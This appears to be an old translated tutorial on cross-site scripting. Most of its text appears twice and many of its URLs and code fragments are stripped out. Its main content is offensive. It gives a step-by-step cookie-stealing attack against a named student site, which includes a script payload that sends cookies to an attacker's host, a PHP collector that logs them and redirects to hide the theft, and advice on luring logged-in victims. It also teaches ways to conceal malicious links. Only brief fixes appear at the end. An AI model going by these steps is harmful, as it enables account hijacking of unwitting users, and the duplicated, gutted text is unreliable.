This article mainly introduces the causes, forms, hazards, utilization methods, hidden techniques, solutions and common problems (FAQs) of cross-site script execution vulnerabilities. Since there is not much information about cross-site script execution vulnerabilities, and it is generally not very detailed, I hope this article can introduce the vulnerability in more detail. Due to the hasty time and limited level, there may be many mistakes in this article. I hope you will give me some advice.
Statement, please do not use any content, code or method introduced in this article to destroy it, otherwise you will be responsible for all consequences!
【Cause of the loophole】
The reason is very simple, because the CGI program does not filter or convert the HTML code in the variables submitted by the user.
【Vulnerability Form】
The form mentioned here actually refers to the form of CGI input, which is mainly divided into two types:
1. Display input
2. Implicit input
The display input clearly requires the user to enter data, while the implicit input does not require the user to enter data, but the user can interfere by entering data.
Display input can be divided into two types:
1. The result is output immediately after the input is completed
2. The input is completed and stored in a text file or database first, and then the result is output.
Note: The latter may make your website unrecognizable! :(
In addition to some normal situations, implicit input can also be implemented by using the server or CGI program to handle error information.
【Hazard of loopholes】
What everyone is most concerned about is probably this issue. The listing below may not be comprehensive or systematic, but I think it should be more typical.
1. Obtain sensitive data in other users’ cookies
2. Block page specific information
3. Forged page information
4. Denial of Service Attack
5. Break through different security settings of external and internal networks
6. Combined with other vulnerabilities, modify system settings, view system files, execute system commands, etc.
7. Others
Generally speaking, the above hazards are often accompanied by the deformation of the page. The so-called cross-site script execution vulnerability means that the attack effect is achieved through other people's websites, which means that this kind of attack can hide identity to a certain extent.
【Usage Method】
Below we will demonstrate the various hazards above through specific examples, which should be more explanatory and easier to understand. In order to make it clearer, we will do an experiment for each hazard.
In order to do these experiments well, we need a package capture software. I use Iris. Of course, you can choose other software, such as NetXray or something. For specific usage methods, please refer to the relevant help or manual.
In addition, one thing to understand is that as long as the server returns the information submitted by the user, there may be a cross-site script execution vulnerability.
OK, everything is ready, let's start experimenting! :)
Experiment 1: Obtain sensitive information in other users’ cookies
Let’s take the famous domestic student recording site as an example to illustrate. Please follow the steps below:
1. Enter the home page http:///
2. Enter the user name "<h1>" and submit it. The server returns the information that contains the user's submission "<h1>".
3. Analyze packet capture data and get the actual request:
http:///txl/login/?username=<h1>&passwd=&=28&=6
4. Construct a submission with the goal of displaying user cookie information:
http:///txl/login/?username=<script>alert()</ script>&passwd=&=28&=6
5. If the above request gets the expected effect, then we can try the following request:
http:///txl/login/?username=<script>("/ ?"%)</script>&passwd=&=28&=6
Among them / is a script on a host that you can control. Its function is to obtain the information of the query string, and the content is as follows:
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("","a");
fwrite($fp,$info."/n");
fclose($fp);
}
header("Location: http://");
Note: "%2B" is the URL encoding of "+", and only "%2B" can be used here, because "+" will be processed as a space. The following header sentences are purely for increasing concealment.
6. If the URL above can run correctly, the next step is to induce logged in users to access the URL, and we can obtain sensitive information in the user's cookie.
7. What you want to do later is up to you!
Experiment 2: Block page specific information
We still take it as an example, here is a problematic CGI program:
http:///txl/liuyan/
The CGI program accepts three variables provided by the user, namely nId, csId and cName, but does not check any cName variables submitted by the user. Moreover, the CGI program takes the value of cName as part of the output page. The users should be more clear that your name is in the lower right corner of the message, right?
Since we have the above conditions, we may wish to make the following conclusions:
A user can "block" all messages between their two messages!
Of course, the "blocking" we are talking about is not "deletion", and the user's messages still exist, but due to the characteristics of HTML, we cannot see it from the page. Of course, if you like to view the source code, it is useless. But those of us who are studying CGI security say, how many people look at the HTML source code if you have something to do or not?
For various reasons, I will not announce the specific details here, just know the principles.
Note: If you think about it carefully, we can not only block messages, but also leave messages anonymously, Right?
Experiment 3: Forgetting page information
If you understand the above experiment, there is no need to do this experiment. The basic principles are the same, but it is just a little troublesome to implement.
Experiment 4: Denial of Service Attack
It should be known now that we can control the behavior of servers with cross-site script execution vulnerabilities to some extent. In this case, we can control the server to perform some resource-consuming actions. For example, running JavaScript scripts that contain dead loops or open infinite windows, etc. This way the user system that accesses the URL may slow down or even crash. Similarly, we may also embed some scripts in it to ask the server to request resources on other servers. If the resources accessed consume more resources and there are more visitors, the accessed server may also be denied service, and it believes that the denial of service attack is initiated by the server accessing it, so that the identity can be hidden.
Experiment 5: Break through different security settings of external and internal networks
This should be easy to understand. Generally speaking, our browser sets different security levels for different regions. For example, for the Internet area, you may not allow JavaScript execution, but in the Intranet area, you may allow JavaScript execution. Generally speaking, the security level of the former is higher than that of the latter. In this way, in general, others cannot attack you by executing malicious JavaScript scripts, but if there is a cross-site script execution vulnerability on the server on the same intranet as you, then the attacker has a chance to take advantage of it because the server is located in the intranet area.
Experiment 6: Combined with other vulnerabilities, modify system settings, view system files, execute system commands, etc.
Because there are too many browser-related vulnerabilities, there are many vulnerabilities that can be combined with cross-site script execution vulnerabilities. I think everyone should be very clear about these issues. The vulnerability of modifying IE titles a few times, the vulnerability of wrong MIME type execution commands, and a variety of worms are all good examples.
For more examples, please refer to the following link:
Internet Explorer Pop-Up OBJECT Tag Bug
/archives/bugtraq/2002-01/
Internet Explorer Javascript Modeless Popup Local Denial of Service Vulnerability
/archives/bugtraq/2002-01/
MSIE6 can read local files
http:///~jkuperus/
MSIE may download and run progams automatically
/archives/bugtraq/2001-12/
File extensions spoofable in MSIE download dialog
/archives/bugtraq/2001-11/
the other IE cookie stealing bug (MS01-055)
/archives/bugtraq/2001-11/
Microsoft Security Bulletin MS01-055
/archives/bugtraq/2001-11/
Serious security Flaw in Microsoft Internet Explorer - Zone Spoofing
/archives/bugtraq/2001-10/
Incorrect MIME Header Can Cause IE to Execute E-mail Attachment
/cua/
The role of cross-site script execution vulnerability here is to hide the identity of the real attacker.
Experiment 7: Others
In fact, this type of problem has little to do with cross-site script execution vulnerabilities, but it is still necessary to mention it here. The essence of the problem is that the CGI program does not filter the data submitted by the user and then performs output processing. For example, a CGI program on a server that supports SSI outputs user-submitted data. No matter what method the data is input, it may lead to the execution of SSI instructions. Of course, this is executed on the server side, not on the client side. In fact, CGI languages such as ASP, PHP and Perl may cause this problem.
【Hidden Skills】
For the sake of time, I will mainly talk about the theory here. I believe it is not difficult to understand. If there is really a problem, then go find this book and read it.
1. URL encoding
Compare:
http:///txl/login/?username=<h1>&passwd=&=28&=6
http:///txl/login/?username=%3C%68%31%3E&passwd=&=28&＝6
Which one do you think is more concealed? !
2. Hide under other objects
Is it better to decide to hide the link below the button than to give someone a link directly?
3. Embed into the page
Is it much easier to let others access an address (note that the address here is different from the URL mentioned above) than to let others press a button? With the help of Iframe, you can make this attack more hidden.
4. Rational use of events
The rational use of events can be bypassed in some cases the input restrictions of CGI programs, such as the cross-site script execution vulnerability of SecurityFocus a few days ago.
【Precautions】
Generally speaking, there is no problem in directly carrying out attacks like <script>alert()</script>, but sometimes the CGI program processes user input, such as including '' or ''. At this time, we need to use some tricks to bypass these restrictions.
If you are familiar with HTML language, bypassing these restrictions should not be a problem.
【Solution】
To avoid being attacked by cross-site script execution vulnerabilities, programmers and users need to work together:
programmer:
1. Filter or convert HTML code in user submitted data
2. Limit the length of data submitted by users
User:
1. Don't easily access the links given to you by others.
2. Disable browsers from running JavaScript and ActiveX code
Attachment: The location of common browser modification settings is:
Internet Explorer：
Tools -> Internet Options -> Security -> Internet -> Custom Level
Tools -> Internet Options -> Security -> Intranet -> Custom Level
Opera：
File -> Quick Parameters -> Allow Java
File -> Quick Parameters -> Allow plugins to be used
File -> Quick Parameters -> Allow JavaScript
【FAQ】
Q: Where does cross-site script execution vulnerability exist?
A: As long as it is a CGI program and as long as the user is allowed to input, there may be a cross-site script execution vulnerability.
Q: Can cross-site script execution vulnerabilities only steal other people’s cookies?
A: Of course not! All HTML code can be done, cross-site script execution vulnerabilities can be done.
Statement, please do not use any content, code or method introduced in this article to destroy it, otherwise you will be responsible for all consequences!
【Cause of the loophole】
The reason is very simple, because the CGI program does not filter or convert the HTML code in the variables submitted by the user.
【Vulnerability Form】
The form mentioned here actually refers to the form of CGI input, which is mainly divided into two types:
1. Display input
2. Implicit input
The display input clearly requires the user to enter data, while the implicit input does not require the user to enter data, but the user can interfere by entering data.
Display input can be divided into two types:
1. The result is output immediately after the input is completed
2. The input is completed and stored in a text file or database first, and then the result is output.
Note: The latter may make your website unrecognizable! :(
In addition to some normal situations, implicit input can also be implemented by using the server or CGI program to handle error information.
【Hazard of loopholes】
What everyone is most concerned about is probably this issue. The listing below may not be comprehensive or systematic, but I think it should be more typical.
1. Obtain sensitive data in other users’ cookies
2. Block page specific information
3. Forged page information
4. Denial of Service Attack
5. Break through different security settings of external and internal networks
6. Combined with other vulnerabilities, modify system settings, view system files, execute system commands, etc.
7. Others
Generally speaking, the above hazards are often accompanied by the deformation of the page. The so-called cross-site script execution vulnerability means that the attack effect is achieved through other people's websites, which means that this kind of attack can hide identity to a certain extent.
【Usage Method】
Below we will demonstrate the various hazards above through specific examples, which should be more explanatory and easier to understand. In order to make it clearer, we will do an experiment for each hazard.
In order to do these experiments well, we need a package capture software. I use Iris. Of course, you can choose other software, such as NetXray or something. For specific usage methods, please refer to the relevant help or manual.
In addition, one thing to understand is that as long as the server returns the information submitted by the user, there may be a cross-site script execution vulnerability.
OK, everything is ready, let's start experimenting! :)
Experiment 1: Obtain sensitive information in other users’ cookies
Let’s take the famous domestic student recording site as an example to illustrate. Please follow the steps below:
1. Enter the home page http:///
2. Enter the user name "<h1>" and submit it. The server returns the information that contains the user's submission "<h1>".
3. Analyze packet capture data and get the actual request:
http:///txl/login/?username=<h1>&passwd=&=28&=6
4. Construct a submission with the goal of displaying user cookie information:
http:///txl/login/?username=<script>alert()</ script>&passwd=&=28&=6
5. If the above request gets the expected effect, then we can try the following request:
http:///txl/login/?username=<script>("/ ?"%)</script>&passwd=&=28&=6
Among them / is a script on a host that you can control. Its function is to obtain the information of the query string, and the content is as follows:
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("","a");
fwrite($fp,$info."/n");
fclose($fp);
}
header("Location: http://");
Note: "%2B" is the URL encoding of "+", and only "%2B" can be used here, because "+" will be processed as a space. The following header sentences are purely for increasing concealment.
6. If the URL above can run correctly, the next step is to induce logged in users to access the URL, and we can obtain sensitive information in the user's cookie.
7. What you want to do later is up to you!
Experiment 2: Block page specific information
We still take it as an example, here is a problematic CGI program:
http:///txl/liuyan/
The CGI program accepts three variables provided by the user, namely nId, csId and cName, but does not check any cName variables submitted by the user. Moreover, the CGI program takes the value of cName as part of the output page. The users should be more clear that your name is in the lower right corner of the message, right?
Since we have the above conditions, we may wish to make the following conclusions:
A user can "block" all messages between their two messages!
Of course, the "blocking" we are talking about is not "deletion", and the user's messages still exist, but due to the characteristics of HTML, we cannot see it from the page. Of course, if you like to view the source code, it is useless. But those of us who are studying CGI security say, how many people look at the HTML source code if you have something to do or not?
For various reasons, I will not announce the specific details here, just know the principles.
Note: If you think about it carefully, we can not only block messages, but also leave messages anonymously, Right?
Experiment 3: Forgetting page information
If you understand the above experiment, there is no need to do this experiment. The basic principles are the same, but it is just a little troublesome to implement.
Experiment 4: Denial of Service Attack
It should be known now that we can control the behavior of servers with cross-site script execution vulnerabilities to some extent. In this case, we can control the server to perform some resource-consuming actions. For example, running JavaScript scripts that contain dead loops or open infinite windows, etc. This way the user system that accesses the URL may slow down or even crash. Similarly, we may also embed some scripts in it to ask the server to request resources on other servers. If the resources accessed consume more resources and there are more visitors, the accessed server may also be denied service, and it believes that the denial of service attack is initiated by the server accessing it, so that the identity can be hidden.
Experiment 5: Break through different security settings of external and internal networks
This should be easy to understand. Generally speaking, our browser sets different security levels for different regions. For example, for the Internet area, you may not allow JavaScript execution, but in the Intranet area, you may allow JavaScript execution. Generally speaking, the security level of the former is higher than that of the latter. In this way, in general, others cannot attack you by executing malicious JavaScript scripts, but if there is a cross-site script execution vulnerability on the server on the same intranet as you, then the attacker has a chance to take advantage of it because the server is located in the intranet area.
Experiment 6: Combined with other vulnerabilities, modify system settings, view system files, execute system commands, etc.
Because there are too many browser-related vulnerabilities, there are many vulnerabilities that can be combined with cross-site script execution vulnerabilities. I think everyone should be very clear about these issues. The vulnerability of modifying IE titles a few times, the vulnerability of wrong MIME type execution commands, and a variety of worms are all good examples.
For more examples, please refer to the following link:
Internet Explorer Pop-Up OBJECT Tag Bug
/archives/bugtraq/2002-01/
Internet Explorer Javascript Modeless Popup Local Denial of Service Vulnerability
/archives/bugtraq/2002-01/
MSIE6 can read local files
http:///~jkuperus/
MSIE may download and run progams automatically
/archives/bugtraq/2001-12/
File extensions spoofable in MSIE download dialog
/archives/bugtraq/2001-11/
the other IE cookie stealing bug (MS01-055)
/archives/bugtraq/2001-11/
Microsoft Security Bulletin MS01-055
/archives/bugtraq/2001-11/
Serious security Flaw in Microsoft Internet Explorer - Zone Spoofing
/archives/bugtraq/2001-10/
Incorrect MIME Header Can Cause IE to Execute E-mail Attachment
/cua/
The role of cross-site script execution vulnerability here is to hide the identity of the real attacker.
Experiment 7: Others
In fact, this type of problem has little to do with cross-site script execution vulnerabilities, but it is still necessary to mention it here. The essence of the problem is that the CGI program does not filter the data submitted by the user and then performs output processing. For example, a CGI program on a server that supports SSI outputs user-submitted data. No matter what method the data is input, it may lead to the execution of SSI instructions. Of course, this is executed on the server side, not on the client side. In fact, CGI languages such as ASP, PHP and Perl may cause this problem.
【Hidden Skills】
For the sake of time, I will mainly talk about the theory here. I believe it is not difficult to understand. If there is really a problem, then go find this book and read it.
1. URL encoding
Compare:
http:///txl/login/?username=<h1>&passwd=&=28&=6
http:///txl/login/?username=%3C%68%31%3E&passwd=&=28&＝6
Which one do you think is more concealed? !
2. Hide under other objects
Is it better to decide to hide the link below the button than to give someone a link directly?
3. Embed into the page
Is it much easier to let others access an address (note that the address here is different from the URL mentioned above) than to let others press a button? With the help of Iframe, you can make this attack more hidden.
4. Rational use of events
The rational use of events can be bypassed in some cases the input restrictions of CGI programs, such as the cross-site script execution vulnerability of SecurityFocus a few days ago.
【Precautions】
Generally speaking, there is no problem in directly carrying out attacks like <script>alert()</script>, but sometimes the CGI program processes user input, such as including '' or ''. At this time, we need to use some tricks to bypass these restrictions.
If you are familiar with HTML language, bypassing these restrictions should not be a problem.
【Solution】
To avoid being attacked by cross-site script execution vulnerabilities, programmers and users need to work together:
programmer:
1. Filter or convert HTML code in user submitted data
2. Limit the length of data submitted by users
User:
1. Don't easily access the links given to you by others.
2. Disable browsers from running JavaScript and ActiveX code
Attachment: The location of common browser modification settings is:
Internet Explorer：
Tools -> Internet Options -> Security -> Internet -> Custom Level
Tools -> Internet Options -> Security -> Intranet -> Custom Level
Opera：
File -> Quick Parameters -> Allow Java
File -> Quick Parameters -> Allow plugins to be used
File -> Quick Parameters -> Allow JavaScript
【FAQ】
Q: Where does cross-site script execution vulnerability exist?
A: As long as it is a CGI program and as long as the user is allowed to input, there may be a cross-site script execution vulnerability.
Q: Can cross-site script execution vulnerabilities only steal other people’s cookies?
A: Of course not! All HTML code can be done, cross-site script execution vulnerabilities can be done.